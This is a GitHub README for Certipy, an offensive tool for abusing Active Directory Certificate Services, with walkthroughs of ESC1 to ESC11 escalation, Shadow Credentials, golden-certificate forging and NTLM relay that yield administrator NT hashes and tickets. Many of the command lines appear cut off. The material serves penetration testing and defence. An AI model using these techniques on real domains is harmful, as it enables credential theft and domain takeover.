Sign in

ly4k / Certipy Public

Notifications Fork 329 Star 2.4k

Code Issues 43 Pull requests 31 Actions Projects Security Insights

main Go to file Code

.github/workflows
certipy
.gitignore
Certipy.spec
LICENSE
README.md
customqueries.json
setup.py

About

Tool for Active Directory Certificate Services enumeration and abuse

pki adcs

Readme
MIT license
Activity
2.4k stars
30 watching
329 forks
Report repository

Releases 23

Certipy 4.8.2 Latest
on Sep 26, 2023

+ 22 releases

Used by 292

+ 284

Contributors 17

README MIT license

Certipy

Upload Python Package passing

Certipy is an offensive tool for enumerating and abusing Active Directory Certificate Services (AD CS). If you're not familiar with AD CS and the various domain escalation techniques, I highly recommend reading Certified Pre-Owned by Will Schroeder and Lee Christensen.

+ 3 contributors

Languages

● Python 100.0%

Table of Contents

Installation

```
pip3 install certipy-ad
```

Usage

A lot of the usage and features are demonstrated in the blog posts for the release of Certipy 2.0 and 4.0.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy [-v] [-h] {account,auth,ca,cert,

Active Directory Certificate Services enumerati

positional arguments:
  {account,auth,ca,cert,find,forge,ptt,relay,re
                        Action
    account             Manage user and machine
    auth                Authenticate using cert
    ca                  Manage CA and certifica
    cert                Manage certificates and
    find                Enumerate AD CS
    forge               Create Golden Certifica
    ptt                 Inject TGT for SSPI aut
    relay               NTLM Relay to AD CS HTT
    req                 Request certificates
    shadow              Abuse Shadow Credential
    template            Manage certificate temp

optional arguments:
  -v, --version         Show Certipy's version
  -h, --help            Show this help message
```

Find

The `find` command is useful for enumerating AD CS certificate templates, certificate authorities and other configurations.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy find [-h] [-debug] [-bloodhound]
                    [-timeout seconds] [-u user

optional arguments:
  -h, --help            show this help message a
  -debug                Turn debug output on

output options:
  -bloodhound           Output result as BloodH
  -old-bloodhound       Output result as BloodH
  -text                 Output result as text
  -stdout               Output result as text t
  -json                 Output result as JSON
  -output prefix        Filename prefix for wri

find options:
  -enabled              Show only enabled certi
  -dc-only              Collects data only from
  -vulnerable           Show only vulnerable ce
  -hide-admins          Don't show administrato

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domai
  -target-ip ip address
                        IP Address of the targe
  -target dns/ip address
                        DNS Name or IP Address 
  -ns nameserver        Nameserver for DNS reso
  -dns-tcp              Use TCP instead of UDP 
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: usern
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [L
  -k                    Use Kerberos authentica
  -sspi                 Use Windows Integrated 
  -aes hex key          AES key to use for Kerb
  -no-pass              Don't ask for password
```

The output can come in various formats. By default, Certipy will output the enumeration results as text, JSON, and BloodHound data.

```
$ certipy find -u john@corp.local -p Passw0rd -
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164803_Ce
[*] Saved text output to '20220802164803_Certip
[*] Saved JSON output to '20220802164803_Certip
```

To only output BloodHound data, you can specify the `-bloodhound` parameter.

```
$ certipy find -u john@corp.local -p Passw0rd -
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 45 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 23 enabled certificate templates
[*] Trying to get CA configuration for 'CORP-DC
[*] Got CA configuration for 'CORP-DC-CA'
[*] Saved BloodHound data to '20220802164835_Ce
```

The BloodHound data is saved as a ZIP-file that can be imported into my forked version of BloodHound with PKI support.

If you want BloodHound data output that is compatible with the original version of BloodHound, you can pass the `-old-bloodhound` parameter. Please note that Certipy uses BloodHound's new format, introduced in version 4, but that PKI integration is only supported in the forked version.

Custom Certipy queries for BloodHound can be found in customqueries.json. These will not be necessary for the forked version.

On Linux, custom BloodHound queries can be added in `~/.config/bloodhound/customqueries.json`, and for Windows in `C:\Users\[USERNAME]\AppData\Roaming\BloodHound\customqueries.json`

Request

The `req` command is useful for requesting, retrieving, and renewing certificates.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy req [-h] [-debug] -ca certificat
                   [-renew] [-out output file na
                   [-hashes [LMHASH:]NTHASH] [-

optional arguments:
  -h, --help            show this help message 
  -debug                Turn debug output on
  -ca certificate authority name

certificate request options:
  -template template name
  -upn alternative UPN
  -dns alternative DNS
  -subject subject      Subject to include cert
  -retrieve request ID  Retrieve an issued cert
  -on-behalf-of domain\account
                        Use a Certificate Reque
  -pfx pfx/p12 file name
                        Path to PFX for -on-beh
  -key-size RSA key length
                        Length of RSA key. Defa
  -archive-key          Send private key for Ke
  -renew                Create renewal request

output options:
  -out output file name

connection options:
  -web                  Use Web Enrollment inst
  -dc-ip ip address     IP Address of the domai
  -target-ip ip address
                        IP Address of the targe
  -target dns/ip address
                        DNS Name or IP Address 
  -ns nameserver        Nameserver for DNS reso
  -dns-tcp              Use TCP instead of UDP 
  -timeout seconds      Timeout for connections

rpc connection options:
  -dynamic-endpoint     Prefer dynamic TCP endp

http connection options:
  -scheme http scheme
  -port PORT            Web Enrollment port. If

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: usern
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [L
  -k                    Use Kerberos authentica
  -sspi                 Use Windows Integrated 
  -aes hex key          AES key to use for Kerb
  -no-pass              Don't ask for password
```

To request a certificate, you must specify the name and host/IP of a Certificate Authority (CA) for enrollment. By default, this will use the provided credentials to enroll in the default `User` template.

In this example, we request a certificate from the CA `corp-CA` based on the template `User`.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 773
[*] Got certificate with UPN 'JOHN@corp.local'
[*] Certificate object SID is 'S-1-5-21-9801549
[*] Saved certificate and private key to 'john.
```

If the request succeeds, the certificate and private key will be saved as a PFX file. The PFX file can then be used for various purposes depending on the certificate's usage.

If you're in a domain context on a Windows machine, but you don't know the credentials of the current user, you can use the `-sspi` parameter, which will make Certipy use Windows APIs for retrieving the proper Kerberos tickets using your current context.

Authenticate

The `auth` command will use either the PKINIT Kerberos extension or Schannel protocol for authentication with the provided certificate. Kerberos can be used to retrieve a TGT and the NT hash for the target user, whereas Schannel will open a connection to LDAPS and drop into an interactive shell with limited LDAP commands. See the blog posts for more information on when to use which option.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy auth [-h] -pfx pfx/p12 file name

optional arguments:
  -h, --help            show this help message 
  -pfx pfx/p12 file name
                        Path to certificate
  -no-save              Don't save TGT to file
  -no-hash              Don't request NT hash
  -ptt                  Submit TGT for current 
  -print                Print TGT in Kirbi form
  -kirbi                Save TGT in Kirbi forma
  -debug                Turn debug output on

connection options:
  -dc-ip ip address     IP Address of the domai
  -ns nameserver        Nameserver for DNS reso
  -dns-tcp              Use TCP instead of UDP 
  -timeout seconds      Timeout for connections

authentication options:
  -username username
  -domain domain
  -ldap-shell           Authenticate with the c

ldap options:
  -ldap-port port       LDAP port. Default: 389
  -ldap-user-dn dn      Distinguished Name of t
```

By default, Certipy will try to extract the username and domain from the certificate (`-pfx`) for authentication via Kerberos.

```
$ certipy auth -pfx administrator.pfx -dc-ip 17
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.cc
[*] Trying to retrieve NT hash for 'administrat
[*] Got NT hash for 'administrator@corp.local':
```

The NT hash and the credential cache (TGT) can be used for further authentication with other tools. If you're in a domain context on a Windows machine, you can use `-ptt` to inject the TGT into your current session.

If the example above doesn't work in your case, you can specify the required parameters manually, such as the KDC IP, username, and domain. This can sometimes happen if the certificate doesn't contain information about the user (such as Shadow Credentials) or if the domain name cannot be resolved via DNS.

```
$ certipy auth -pfx 'administrator.pfx' -userna
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.cca
[*] Trying to retrieve NT hash for 'administrat
[*] Got NT hash for 'administrator@corp.local':
```

Shadow Credentials

The `shadow` command is useful for taking over an account when you can write to the `msDS-KeyCredentialLink` attribute of the account. Read more about Shadow Credentials here.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy shadow [-h] [-account target acc
                      [-p password] [-hashes [LI
                      {list,add,remove,clear,in

positional arguments:
  {list,add,remove,clear,info,auto}
                        Key Credentials action

optional arguments:
  -h, --help            show this help message a
  -account target account
                        Account to target. If or
  -device-id DEVICE_ID  Device ID of the Key Cre
  -debug                Turn debug output on

output options:
  -out output file name

connection options:
  -scheme ldap scheme
  -dc-ip ip address     IP Address of the domai
  -target-ip ip address
                        IP Address of the targe
  -target dns/ip address
                        DNS Name or IP Address o
  -ns nameserver        Nameserver for DNS resol
  -dns-tcp              Use TCP instead of UDP 
  -timeout seconds      Timeout for connections

authentication options:
  -u username@domain, -username username@domain
                        Username. Format: usern
  -p password, -password password
                        Password
  -hashes [LMHASH:]NTHASH
                        NTLM hash, format is [L
  -k                    Use Kerberos authentica
  -sspi                 Use Windows Integrated 
  -aes hex key          AES key to use for Kerb
  -no-pass              Don't ask for password
```

In short, the Shadow Credentials attack is performed by adding a new "Key Credential" to the target account. The Key Credential can then be used with the PKINIT Kerberos extension for authentication.

Certipy's `shadow` command has an `auto` action, which will add a new Key Credential to the target account, authenticate with the Key Credential to retrieve the NT hash and a TGT for the target, and finally restore the old Key Credential attribute.

```
$ certipy shadow auto -username John@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'Jane'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '00f
[*] Adding Key Credential with device ID '00f38
[*] Successfully added Key Credential with devi
[*] Authenticating as 'Jane' with the certifica
[*] Using principal: jane@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'jane.ccache'
[*] Trying to retrieve NT hash for 'jane'
[*] Restoring the old Key Credentials for 'Jane
[*] Successfully restored the old Key Credentia
[*] NT hash for 'Jane': a87f3a337d73085c45f9416
```

This action is useful if you just want the NT hash or TGT for further authentication. It is possibly to manually add, authenticate, and delete the Key Credential, if desired. See the usage or blog post for more information.

Golden Certificates

Golden Certificates are certificates that are manually forged with a compromised CA's certificate and private key, just like Golden Tickets are forged with a compromised `krbtgt` account's NT hash.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy forge [-h] -ca-pfx pfx/p12 file

optional arguments:
  -h, --help            show this help message
  -ca-pfx pfx/p12 file name
                        Path to CA certificate
  -upn alternative UPN
  -dns alternative DNS
  -template pfx/p12 file name
                        Path to template certif
  -subject subject      Subject to include cert
  -issuer issuer        Issuer to include certi
  -crl ldap path        ldap path to a CRL
  -serial serial number
  -key-size RSA key length
                        Length of RSA key. Defa
  -debug                Turn debug output on

output options:
  -out output file name
```

In order to forge a certificate, we need the CA's certificate and private key.

Certipy can automatically retrieve the certificate and private key with the `-backup` parameter. In order to do so, the user must have administrative privileges on the CA server.

```
$ certipy ca -backup -ca 'corp-DC-CA' -username
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Creating new service
[*] Creating backup
[*] Retrieving backup
[*] Got certificate and private key
[*] Saved certificate and private key to 'CORP-I
[*] Cleaning up
```

With the CA's certificate and private key, we can for instance forge a certificate for the domain controller `DC$`:

```
$ certipy forge -ca-pfx CORP-DC-CA.pfx -upn adm:
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Saved forged certificate and private key to

$ certipy auth -pfx administrator_forged.pfx -d
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.cc
[*] Trying to retrieve NT hash for 'administrat
[*] Got NT hash for 'administrator@corp.local':
```

The forged certificate can then be used for authentication with Certipy's `auth` command. If the KDC returns `KDC_ERR_CLIENT_NOT_TRUSTED`, it means that the forging was not correct. This usually happens because of a missing certificate revocation list (CRL) in the certificate. You can either specify the CRL manually with `-crl`, or you can use a previously issued certificate as a template with the `-template` parameter. Please note that the template will include all non-defined extensions and attributes in the new certificate, such as the subject and serial number. Certipy will not include any extended key usage in the forged certificate, which means the certificate can be used for any purpose.

Certificates

The `cert` command is useful for working with PFX's from other tools, such as Certify or KrbRelay, which creates encrypted PFXs.

```
Certipy v4.0.0 - by Oliver Lyak (ly4k)

usage: certipy cert [-h] [-pfx infile] [-passwo

optional arguments:
  -h, --help           show this help message an
  -pfx infile          Load PFX from file
  -password password   Set import password
  -key infile          Load private key from fil
  -cert infile         Load certificate from fil
  -export              Output PFX file
  -out outfile         Output filename
  -nocert              Don't output certificate
  -nokey               Don't output private key
  -debug               Turn debug output on
```

Certipy's commands do not support PFXs with passwords. In order to use an encrypted PFX with Certipy, we can recreate the PFX without the password:

```
$ certipy cert -pfx encrypted.pfx -password "a3
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'decrypted.pfx'
```

The `decrypted.pfx` file can then be used with Certipy's commands.

It is also possible to use the `cert` command to extract the private key and certificate from a PFX file by leaving out the `-export` parameter:

```
$ certipy cert -pfx john.pfx
Certipy v4.0.0 - by Oliver Lyak (ly4k)
```

```
-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----
```

If you only want the certificate or the private key, you can specify `-nokey` or `-nocert`, respectively.

```
$ certipy cert -pfx john.pfx -nokey
Certipy v4.0.0 - by Oliver Lyak (ly4k)

-----BEGIN CERTIFICATE-----
MIIF1DCCBLygAwIBAgITFwAAA...
-----END CERTIFICATE-----

$ certipy cert -pfx john.pfx -nocert
Certipy v4.0.0 - by Oliver Lyak (ly4k)

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BA...
-----END PRIVATE KEY-----
```

Domain Escalation

The following sections describe how to abuse various misconfigurations for domain escalations with Certipy. Certipy supports ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, and ESC8. All escalation techniques are described in depth in Certified Pre-Owned and practical examples can be found in my blog post on the Certipy 2.0 release. Furthermore, ESC9 and ESC10 can be abused as well, but is not directly related to specific features of Certipy.

ESC1

ESC1 is when a certificate template permits Client Authentication and allows the enrollee to supply an arbitrary Subject Alternative Name (SAN).

For ESC1, we can request a certificate based on the vulnerable certificate template and specify an arbitrary UPN or DNS SAN with the `-upn` and `-dns` parameter, respectively.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 780
[*] Got certificate with multiple identificatio
    UPN: 'administrator@corp.local'
    DNS Host Name: 'dc.corp.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'admin
```

It is also possible to specify only a UPN or a DNS. In the case where both a UPN and DNS are specified, the `auth` command will ask you which identity to authenticate as.

```
$ certipy auth -pfx administrator_dc.pfx -dc-ip
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Found multiple identifications in certifica
[*] Please select one:
    [0] UPN: 'administrator@corp.local'
    [1] DNS Host Name: 'dc.corp.local'
> 1
[*] Using principal: dc$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc.ccache'
[*] Trying to retrieve NT hash for 'dc$'
[*] Got NT hash for 'dc$@corp.local': 36a50f712
```

ESC2

ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose, it can be used for the same technique as with ESC3 for most certificate templates. See below.

ESC3

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users.

First, we must request a certificate based on the vulnerable certificate template ESC3.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 781
[*] Got certificate with UPN 'JOHN@corp.local'
[*] Certificate object SID is 'S-1-5-21-9801549
[*] Saved certificate and private key to 'john.
```

We can then use the Certificate Request Agent certificate (`-pfx`) to request a certificate on behalf of other another user by specifying the `-on-behalf-of`. The `-on-behalf-of` parameter value must be in the form of `domain\user`, and not the FQDN of the domain, i.e. `corp` rather than `corp.local`.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 782
[*] Got certificate with UPN 'Administrator@cor
[*] Certificate object SID is 'S-1-5-21-9801549
[*] Saved certificate and private key to 'admin
```

And finally, we can use the new certificate to authenticate as `corp\Administrator`.

```
$ certipy auth -pfx administrator.pfx -dc-ip 17
Certipy v4.0.0 - by Oliver Lyak (ly4k)
```

```
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.cca
[*] Trying to retrieve NT hash for 'administrat
[*] Got NT hash for 'administrator@corp.local':
```

ESC4

ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.

By default, Certipy will overwrite the configuration to make it vulnerable to ESC1.

We can specify the `-save-old` parameter to save the old configuration, which is useful for restoring the configuration afterwards.

```
$ certipy template -username john@corp.local -pa
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Saved old configuration for 'ESC4-Test' to
[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
```

The certificate template is now vulnerable to the ESC1 technique.

Therefore, we can now request a certificate based on the ESC4 template and specify an arbitrary SAN with the `-upn` or `-dns` parameter.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 783
[*] Got certificate with UPN 'administrator@cor
[*] Certificate has no object SID
[*] Saved certificate and private key to 'admin
```

If you want to restore the old configuration, you can specify the path to the saved configuration with the `-configuration` parameter.

```
$ certipy template -username john@corp.local -pa
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Updating certificate template 'ESC4-Test'
[*] Successfully updated 'ESC4-Test'
```

ESC6

ESC6 is when the CA specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the enrollee to specify an arbitrary SAN on all certificates despite a certificate template's configuration. After the patch for my reported vulnerability CVE-2022–26923, this technique no longer works alone, but must be combined with ESC10.

The attack is the same as ESC1, except that you can choose any certificate template that permits client authentication. After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's `objectSid` property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's `objectSid`, and not from the SAN. Notice that the objectSid changes depending on the requester in the following example.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 2
[*] Got certificate with UPN 'administrator@cor
[*] Certificate object SID is 'S-1-5-21-2496215
[*] Saved certificate and private key to 'admin

$ certipy req -username administrator@corp.loca
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 3
[*] Got certificate with UPN 'administrator@cor
[*] Certificate object SID is 'S-1-5-21-2496215
[*] Saved certificate and private key to 'admin
```

This would not happen if the certificate was vulnerable to ESC1. As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension.

ESC7

ESC7 is when a user has the `Manage CA` or `Manage Certificates` access right on a CA. There are no public techniques that can abuse the `Manage Certificates` access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.

The "Certified Pre-Owned" whitepaper mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the ESC6 attack, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates.

Instead, I've found another technique that doesn't require any service restarts or configuration changes.

Prerequisites

In order for this technique to work, the user must also have the `Manage Certificates` access right, and the certificate template `SubCA` must be enabled. With the `Manage CA` access right, we can fulfill these prerequisites.

The technique relies on the fact that users with the `Manage CA` *and* `Manage Certificates` access right can issue failed certificate requests. The `SubCA` certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the `SubCA` - which will be denied - but then issued by the manager afterwards.

If you only have the `Manage CA` access right, you can grant yourself the `Manage Certificates` access right by adding your user as a new officer.

```
$ certipy ca -ca 'corp-DC-CA' -add-officer john
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-I
```

The `SubCA` template can be enabled on the CA with the `-enable-template` parameter. By default, the `SubCA` template is enabled.

```
$ certipy ca -ca 'corp-DC-CA' -enable-template 
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA
```

Attack

If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the `SubCA` template.

This request will be denied, but we will save the private key and note down the request ID.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certifica
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```

With our `Manage CA` and `Manage Certificates`, we can then issue the failed certificate request with the `ca` command and the `-issue-request <request ID>` parameter.

```
$ certipy ca -ca 'corp-DC-CA' -issue-request 78
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate
```

And finally, we can retrieve the issued certificate with the `req` command and the `-retrieve <request ID>` parameter.

```
$ certipy req -username john@corp.local -passwo
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@cor
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'admin
```

ESC8

ESC8 is when an Enrollment Service has installed and enabled Web Enrollment via HTTP.

To start the relay server, we can run the `relay` command and specify the CA's IP in `-target http://<ip>`.

By default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter.

We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify `-template DomainController`.

```
$ certipy relay -target 'http://ca.corp.local'
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/cert
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administra
[*] Got certificate with UPN 'Administrator@cor
[*] Certificate object SID is 'S-1-5-21-9801549
[*] Saved certificate and private key to 'admin
[*] Exiting...
```

ESC9 & ESC10

ESC9 and ESC10 is not related to any specific Certipy commands or parameters, but can be abused with Certipy. See the blog post for more information.

ESC11

ESC11 is when the certificate authority is not configured with IF_ENFORCEENCRYPTICERTREQUEST. This makes the RPC service vulnerable to NTLM relay attacks without signing, such as via SMB. The attack is similar to ESC8, except that we're targeting the RPC protocol instead of the HTTP protocol.

To start the relay server, we can run the `relay` command and specify the CA's IP in `-target rpc://<ip>`. We must also specify the name of the certificate authority in `-ca <name>`.

By default, Certipy will request a certificate based on the `Machine` or `User` template depending on whether the relayed account name ends with `$`. It is possible to specify another template with the `-template` parameter.

We can then use a tool such as Coercer to coerce authentication. For domain controllers, we must specify `-template DomainController`.

```
$ certipy relay -target 'rpc://ca.corp.local' -
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Targeting rpc://ca.corp.local (ESC11)
[*] Listening on 0.0.0.0:445
[*] Connecting to ncacn_ip_tcp:ca.corp.local[13
[*] Attacking user 'Administrator@CORP'
[*] Template was not defined. Defaulting to Mac
[*] Requesting certificate for user 'Administra
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 1
[*] Got certificate with UPN 'Administrator@cor
[*] Certificate object SID is 'S-1-5-21-9801549
[*] Saved certificate and private key to 'admin
[*] Exiting...
```

Contact

Please submit any bugs, issues, questions, or feature requests under "Issues" or send them to me on Twitter @ly4k_.

Credits